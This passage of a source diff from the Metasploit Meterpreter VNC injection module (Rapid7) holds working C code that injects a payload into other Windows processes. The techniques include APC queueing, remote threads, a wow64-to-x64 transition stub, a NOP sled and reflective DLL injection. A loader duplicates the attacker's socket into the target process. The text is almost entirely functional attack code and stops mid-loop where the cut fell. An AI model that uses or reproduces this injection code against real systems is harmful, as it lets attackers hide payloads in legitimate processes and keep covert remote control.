|
||||
wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine
|
||||
wow64:000000006B0095F0
|
||||
wow64:000000006B0095F0 public Wow64ApcRoutine
|
||||
|
||||
// On the native x64 process side:
|
||||
ntdll:0000000077EF30A0 public KiUserApcDispatcher
|
||||
ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value
|
||||
ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock
|
||||
ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved
|
||||
ntdll:0000000077EF30AE mov r9, rsp
|
||||
ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine!
|
||||
|
||||
// Our bStub:
|
||||
00000000 4889C8 mov rax, rcx
|
||||
00000003 48C1E120 shl rcx, 32
|
||||
00000007 48C1E920 shr rcx, 32
|
||||
0000000B 48C1E820 shr rax, 32
|
||||
0000000F FFE0 jmp rax
|
||||
*/
|
||||
|
||||
// alloc the address of the wow64!Wow64ApcRoutine export in the remote process...
|
||||
// TO-DO: parse the PE64 executable wow64.dll to get this at runtime.
|
||||
lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteAddress )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" );
|
||||
|
||||
if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" );
|
||||
|
||||
lpNopSled = (BYTE *)malloc( mbi.RegionSize );
|
||||
if( !lpNopSled )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" );
|
||||
|
||||
memset( lpNopSled, 0x90, mbi.RegionSize );
|
||||
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" )
|
||||
|
||||
if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" )
|
||||
|
||||
free( lpNopSled );
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
SetLastError( ERROR_BAD_ENVIRONMENT );
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" )
|
||||
}
|
||||
|
||||
hNtdll = LoadLibraryA( "ntdll" );
|
||||
if( !hNtdll )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" )
|
||||
|
||||
pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" );
|
||||
if( !pNtQueueApcThread )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" )
|
||||
|
||||
hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
|
||||
if( !hThreadSnap )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" )
|
||||
|
||||
if( !Thread32First( hThreadSnap, &t ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" )
|
||||
|
||||
// Allocate memory for the apc stub and context
|
||||
lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteApcStub )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" )
|
||||
|
||||
// Simply determine the apc context address
|
||||
lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength );
|
||||
|
||||
dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext );
|
||||
|
||||
// Write the apc stub to memory...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" )
|
||||
|
||||
// Write the apc context to memory...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" )
|
||||
|
||||
do
|
||||
{
|
||||
HANDLE hThread = NULL;
|
||||
|
||||
// Only proceed if we are targeting a thread in the target process
|
||||
if( t.th32OwnerProcessID != dwProcessID )
|
||||
continue;
|
||||
|
||||
// Open a handle to this thread so we can do the apc injection
|
||||
hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID );
|
||||
if( !hThread )
|
||||
continue;
|
||||
|
||||
dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID );
|
||||
|
||||
// Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt
|
||||
// an ssl connection back but the client side will not be ready to accept it and we loose the session.
|
||||
if( SuspendThread( hThread ) != (DWORD)-1 )
|
||||
{
|
||||
hThreadList[ dwListIndex ] = hThread;
|
||||
dwListIndex += 1;
|
||||
|
||||
// Queue up our apc stub to run in the target thread, when our apc stub is run (when the target
|
||||
// thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.
|
||||
// Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.
|
||||
if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
|
||||
{
|
||||
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID );
|
||||
dwResult = ERROR_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID );
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
CloseHandle( hThread );
|
||||
}
|
||||
|
||||
// keep searching for more target threads to inject our apc stub into...
|
||||
|
||||
} while( Thread32Next( hThreadSnap, &t ) && dwListIndex < MAXT-1 );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( dwListIndex )
|
||||
{
|
||||
HANDLE hThread = NULL;
|
||||
// Resume all the threads which we queued our apc into
|
||||
while( dwListIndex > 0 )
|
||||
{
|
||||
dwListIndex -= 1;
|
||||
hThread = hThreadList[ dwListIndex ];
|
||||
if( !hThread )
|
||||
break;
|
||||
ResumeThread( hThread );
|
||||
CloseHandle( hThread );
|
||||
}
|
||||
}
|
||||
|
||||
if( hThreadSnap )
|
||||
CloseHandle( hThreadSnap );
|
||||
|
||||
if( hNtdll )
|
||||
FreeLibrary( hNtdll );
|
||||
|
||||
SetLastError( dwResult );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86)
|
||||
* enviroment into a native x64 enviroment and accessing the native win64 API's.
|
||||
* Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new
|
||||
* threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out
|
||||
* Windows 2003 from this method of injection, however the APC injection method will work on 2003.
|
||||
*/
|
||||
DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
EXECUTEX64 pExecuteX64 = NULL;
|
||||
X64FUNCTION pX64function = NULL;
|
||||
WOW64CONTEXT * ctx = NULL;
|
||||
OSVERSIONINFO os = {0};
|
||||
|
||||
do
|
||||
{
|
||||
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
|
||||
|
||||
if( !GetVersionEx( &os ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" )
|
||||
|
||||
// filter out Windows 2003
|
||||
if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
|
||||
{
|
||||
SetLastError( ERROR_ACCESS_DENIED );
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." )
|
||||
}
|
||||
|
||||
// alloc a RWX buffer in this process for the EXECUTEX64 function
|
||||
pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !pExecuteX64 )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" )
|
||||
|
||||
// alloc a RWX buffer in this process for the X64FUNCTION function (and its context)
|
||||
pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !pX64function )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" )
|
||||
|
||||
// copy over the wow64->x64 stub
|
||||
memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) );
|
||||
|
||||
// copy over the native x64 function
|
||||
memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) );
|
||||
|
||||
// set the context
|
||||
ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) );
|
||||
|
||||
ctx->h.hProcess = hProcess;
|
||||
ctx->s.lpStartAddress = lpStartAddress;
|
||||
ctx->p.lpParameter = lpParameter;
|
||||
ctx->t.hThread = NULL;
|
||||
|
||||
dprintf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx );
|
||||
|
||||
// Transition this wow64 process into native x64 and call pX64function( ctx )
|
||||
// The native function will use the native Win64 API's to create a remote thread in the target process.
|
||||
if( !pExecuteX64( pX64function, (DWORD)ctx ) )
|
||||
{
|
||||
SetLastError( ERROR_ACCESS_DENIED );
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
|
||||
}
|
||||
|
||||
if( !ctx->t.hThread )
|
||||
{
|
||||
SetLastError( ERROR_INVALID_HANDLE );
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" )
|
||||
}
|
||||
|
||||
// Success! grab the new thread handle from of the context
|
||||
*pThread = ctx->t.hThread;
|
||||
|
||||
dprintf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( pExecuteX64 )
|
||||
VirtualFree( pExecuteX64, 0, MEM_DECOMMIT );
|
||||
|
||||
if( pX64function )
|
||||
VirtualFree( pX64function, 0, MEM_DECOMMIT );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Attempte to gain code execution in the remote process by creating a remote thread in the target process.
|
||||
*/
|
||||
DWORD inject_via_remotethread( HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
HANDLE hThread = NULL;
|
||||
DWORD dwThreadId = 0;
|
||||
|
||||
do
|
||||
{
|
||||
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
|
||||
// fails, giving us a chance to try an alternative method or fail migration gracefully.
|
||||
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId );
|
||||
if( !hThread )
|
||||
{
|
||||
if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 )
|
||||
{
|
||||
// injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here).
|
||||
|
||||
if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" )
|
||||
}
|
||||
else
|
||||
{
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" )
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." );
|
||||
// Resume the injected thread...
|
||||
if( ResumeThread( hThread ) == (DWORD)-1 )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" )
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( hThread )
|
||||
CloseHandle( hThread );
|
||||
|
||||
SetLastError( dwResult );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
extern DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine );
|
||||
extern DWORD loader_inject_post( DWORD dwPid, HANDLE hProcess, DWORD dwInjectResult );
|
||||
|
||||
/*
|
||||
* Inject a DLL image into a process via Reflective DLL Injection.
|
||||
*
|
||||
* Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for
|
||||
* an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll()
|
||||
* in stdapi will handle this automatically.
|
||||
*
|
||||
* Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's
|
||||
* in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset()
|
||||
* will check for this and fail gracefully.
|
||||
*
|
||||
* Note: This function largely depreciates LoadRemoteLibraryR().
|
||||
*/
|
||||
DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght )
|
||||
{
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
||||
LPVOID lpRemoteCommandLine = NULL;
|
||||
HANDLE hProcess = NULL;
|
||||
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||
LPVOID lpReflectiveLoader = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
char cCommandLine[COMMANDLINE_LENGTH] = {0};
|
||||
|
||||
do
|
||||
{
|
||||
if( !lpDllBuffer || !dwDllLenght )
|
||||
BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER );
|
||||
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer );
|
||||
if( !dwReflectiveLoaderOffset )
|
||||
BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION );
|
||||
|
||||
hProcess = OpenProcess( SYNCHRONIZE | PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid );
|
||||
if( !hProcess )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." );
|
||||
|
||||
dwResult = loader_inject_pre( dwPid, hProcess, (char *)&cCommandLine );
|
||||
if( dwResult != ERROR_SUCCESS )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. loader_inject_pre failed." );
|
||||
|
||||
if( strlen(cCommandLine) )
|
||||
{
|
||||
// alloc some space and write the commandline which we will pass to the injected dll...
|
||||
lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
|
||||
if( !lpRemoteCommandLine )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" );
|
||||
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, &cCommandLine, strlen(cCommandLine)+1, NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" );
|
||||
}
|
||||
|
||||
// alloc memory (RWX) in the host process for the image...
|
||||
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteLibraryBuffer )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" );
|
||||
|
||||
// write the image into the host process...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" );
|
||||
|
||||
// add the offset to ReflectiveLoader() to the remote library address...
|
||||
lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
|
||||
|
||||
// First we try to inject by directly creating a remote thread in the target process
|
||||
if( inject_via_remotethread( hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." );
|
||||
|
||||
// If that fails we can try to migrate via a queued APC in the target process
|
||||
if( inject_via_apcthread( hProcess, dwPid, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" )
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
|
||||
} while( 0 );
|
||||
|
||||
return loader_inject_post( dwPid, hProcess, dwResult );
|
||||
}
|
|
@ -0,0 +1,102 @@
|
|||
// Copyright (C) 2006-2010, Rapid7 LLC
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
// are permitted provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice,
|
||||
// this list of conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice,
|
||||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_INJECT_H
|
||||
#define _VNCDLL_LOADER_INJECT_H
|
||||
//===============================================================================================//
|
||||
|
||||
#define COMMANDLINE_LENGTH 1024
|
||||
|
||||
//===============================================================================================//
|
||||
|
||||
// Definition of ntdll!NtQueueApcThread
|
||||
typedef DWORD (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved );
|
||||
|
||||
// Definitions used for running native x64 code from a wow64 process (see executex64.asm)
|
||||
typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
|
||||
typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
|
||||
|
||||
//===============================================================================================//
|
||||
|
||||
// The context used for injection via migrate_via_apcthread
|
||||
typedef struct _APCCONTEXT
|
||||
{
|
||||
union
|
||||
{
|
||||
LPVOID lpStartAddress;
|
||||
BYTE bPadding1[8];
|
||||
} s;
|
||||
|
||||
union
|
||||
{
|
||||
LPVOID lpParameter;
|
||||
BYTE bPadding2[8];
|
||||
} p;
|
||||
|
||||
BYTE bExecuted;
|
||||
|
||||
} APCCONTEXT, * LPAPCCONTEXT;
|
||||
|
||||
// The context used for injection via migrate_via_remotethread_wow64
|
||||
typedef struct _WOW64CONTEXT
|
||||
{
|
||||
union
|
||||
{
|
||||
HANDLE hProcess;
|
||||
BYTE bPadding2[8];
|
||||
} h;
|
||||
|
||||
union
|
||||
{
|
||||
LPVOID lpStartAddress;
|
||||
BYTE bPadding1[8];
|
||||
} s;
|
||||
|
||||
union
|
||||
{
|
||||
LPVOID lpParameter;
|
||||
BYTE bPadding2[8];
|
||||
} p;
|
||||
union
|
||||
{
|
||||
HANDLE hThread;
|
||||
BYTE bPadding2[8];
|
||||
} t;
|
||||
} WOW64CONTEXT, * LPWOW64CONTEXT;
|
||||
|
||||
//===============================================================================================//
|
||||
|
||||
DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter );
|
||||
|
||||
DWORD inject_via_remotethread( HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter );
|
||||
|
||||
DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,428 @@
|
|||
// sf: March 2010.
|
||||
|
||||
#include "loader.h"
|
||||
#include "context.h"
|
||||
#include "ps.h"
|
||||
#include "session.h"
|
||||
#include "inject.h"
|
||||
#include "ReflectiveLoader.h"
|
||||
|
||||
#define VNCFLAG_DISABLECOURTESYSHELL 1
|
||||
#define VNCFLAG_DISABLESESSIONTRACKING 2
|
||||
|
||||
/*
|
||||
* The HINSTANCE of this injected dll.
|
||||
*/
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
/*
|
||||
* The socket created by stage one.
|
||||
*/
|
||||
SOCKET sock = INVALID_SOCKET;
|
||||
|
||||
/*
|
||||
* Flag to disable following the active session as users log in an out of the input desktop.
|
||||
*/
|
||||
BOOL bDisableSessionTracking = FALSE;
|
||||
|
||||
/*
|
||||
* The event that signals the remote client has closed the socket connection.
|
||||
*/
|
||||
HANDLE hSocketCloseEvent = NULL;
|
||||
|
||||
/*
|
||||
* The event to terminate the vnc agent.
|
||||
*/
|
||||
HANDLE hAgentCloseEvent = NULL;
|
||||
|
||||
/*
|
||||
* The process hosting the vnc agent.
|
||||
*/
|
||||
HANDLE hAgentProcess = NULL;
|
||||
|
||||
/*
|
||||
* The rfb streams context we keep for the agent (see context.c)
|
||||
*/
|
||||
extern AGENT_CTX AgentContext;
|
||||
|
||||
/*
|
||||
* Extract the vnc.dll into the provided DLL_BUFFER.
|
||||
*/
|
||||
DWORD loader_vncdll( DLL_BUFFER * pDllBuffer )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
HRSRC hVncResource = NULL;
|
||||
HGLOBAL hVncResourceLoad = NULL;
|
||||
LPVOID lpVncDllBuffer = NULL;
|
||||
DWORD dwVncDllSize = 0;
|
||||
#ifdef _WIN64
|
||||
DWORD dwCompiledArch = PROCESS_ARCH_X64;
|
||||
#else
|
||||
DWORD dwCompiledArch = PROCESS_ARCH_X86;
|
||||
#endif
|
||||
|
||||
do
|
||||
{
|
||||
if( !pDllBuffer )
|
||||
BREAK_WITH_ERROR( "[LOADER] Init. pDllBuffer is null", ERROR_INVALID_PARAMETER );
|
||||
|
||||
pDllBuffer->dwPE64DllLenght = 0;
|
||||
pDllBuffer->lpPE64DllBuffer = NULL;
|
||||
pDllBuffer->dwPE32DllLenght = 0;
|
||||
pDllBuffer->lpPE32DllBuffer = NULL;
|
||||
|
||||
hVncResource = FindResource( (HMODULE)hAppInstance, "IDR_VNC_DLL", "IMG" );
|
||||
if( !hVncResource )
|
||||
BREAK_ON_ERROR( "[LOADER] Init. FindResource failed" );
|
||||
|
||||
dwVncDllSize = SizeofResource( (HMODULE)hAppInstance, hVncResource );
|
||||
if( !dwVncDllSize )
|
||||
BREAK_ON_ERROR( "[LOADER] Init. SizeofResource failed" );
|
||||
|
||||
hVncResourceLoad = LoadResource( (HMODULE)hAppInstance, hVncResource );
|
||||
if( !hVncResourceLoad )
|
||||
BREAK_ON_ERROR( "[LOADER] Init. LoadResource failed" );
|
||||
|
||||
lpVncDllBuffer = LockResource( hVncResourceLoad );
|
||||
if( !lpVncDllBuffer )
|
||||
BREAK_ON_ERROR( "[LOADER] Init. LockResource failed" );
|
||||
|
||||
dprintf( "[LOADER] Init. lpVncDllBuffer=0x%08X, dwVncDllSize=%d", lpVncDllBuffer, dwVncDllSize );
|
||||
|
||||
if( dwCompiledArch == PROCESS_ARCH_X64 )
|
||||
{
|
||||
pDllBuffer->dwPE64DllLenght = dwVncDllSize;
|
||||
pDllBuffer->lpPE64DllBuffer = lpVncDllBuffer;
|
||||
}
|
||||
else if( dwCompiledArch == PROCESS_ARCH_X86 )
|
||||
{
|
||||
pDllBuffer->dwPE32DllLenght = dwVncDllSize;
|
||||
pDllBuffer->lpPE32DllBuffer = lpVncDllBuffer;
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
SetLastError( dwResult );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* A pre injection hook called before our dll has been injected into a process.
|
||||
*/
|
||||
DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
LPVOID lpMemory = NULL;
|
||||
AGENT_CTX RemoteAgentContext = {0};
|
||||
int i = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !hProcess || !cpCommandLine )
|
||||
BREAK_WITH_ERROR( "[LOADER] loader_inject_pre. !hProcess || !cpCommandLine", ERROR_INVALID_PARAMETER );
|
||||
|
||||
// Use User32!WaitForInputIdle to slow things down so if it's a new
|
||||
// process (like a new winlogon.exe) it can have a chance to initilize...
|
||||
// Bad things happen if we inject into an uninitilized process.
|
||||
WaitForInputIdle( hProcess, 10000 );
|
||||
|
||||
CLOSE_HANDLE( hAgentCloseEvent );
|
||||
CLOSE_HANDLE( hAgentProcess );
|
||||
|
||||
memcpy( &RemoteAgentContext, &AgentContext, sizeof(AGENT_CTX) );
|
||||
|
||||
hAgentCloseEvent = CreateMutex( NULL, TRUE, NULL );
|
||||
if( !hAgentCloseEvent )
|
||||
BREAK_ON_ERROR( "[LOADER] loader_inject_pre. CreateEvent hAgentCloseEvent failed" );
|
||||
|
||||
if( !DuplicateHandle( GetCurrentProcess(), hAgentCloseEvent, hProcess, &RemoteAgentContext.hCloseEvent, 0, FALSE, DUPLICATE_SAME_ACCESS ) )
|
||||
BREAK_ON_ERROR( "[LOADER] loader_inject_pre. DuplicateHandle hAgentCloseEvent failed" )
|
||||
|
||||
dprintf( "[LOADER] WSADuplicateSocket for sock=%d", sock );
|
||||
|
||||
// Duplicate the socket for the target process
|
||||
if( WSADuplicateSocket( sock, dwPid, &RemoteAgentContext.info ) != NO_ERROR )
|
||||
BREAK_ON_WSAERROR( "[LOADER] WSADuplicateSocket failed" )
|
||||
|
||||
// Allocate memory for the migrate stub, context and payload
|
||||
lpMemory = VirtualAllocEx( hProcess, NULL, sizeof(AGENT_CTX), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
|
||||
if( !lpMemory )
|
||||
BREAK_ON_ERROR( "[LOADER] VirtualAllocEx failed" )
|
||||
|
||||
/*for( i=0 ; i<4 ; i++ )
|
||||
{
|
||||
DWORD dwSize = 0;
|
||||
|
||||
if( !AgentContext.dictionaries[i] )
|
||||
continue;
|
||||
|
||||
dwSize = ( sizeof(DICTMSG) + AgentContext.dictionaries[i]->dwDictLength );
|
||||
|
||||
RemoteAgentContext.dictionaries[i] = VirtualAllocEx( hProcess, NULL, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
|
||||
if( !RemoteAgentContext.dictionaries[i] )
|
||||
continue;
|
||||
|
||||
if( !WriteProcessMemory( hProcess, RemoteAgentContext.dictionaries[i], AgentContext.dictionaries[i], dwSize, NULL ) )
|
||||
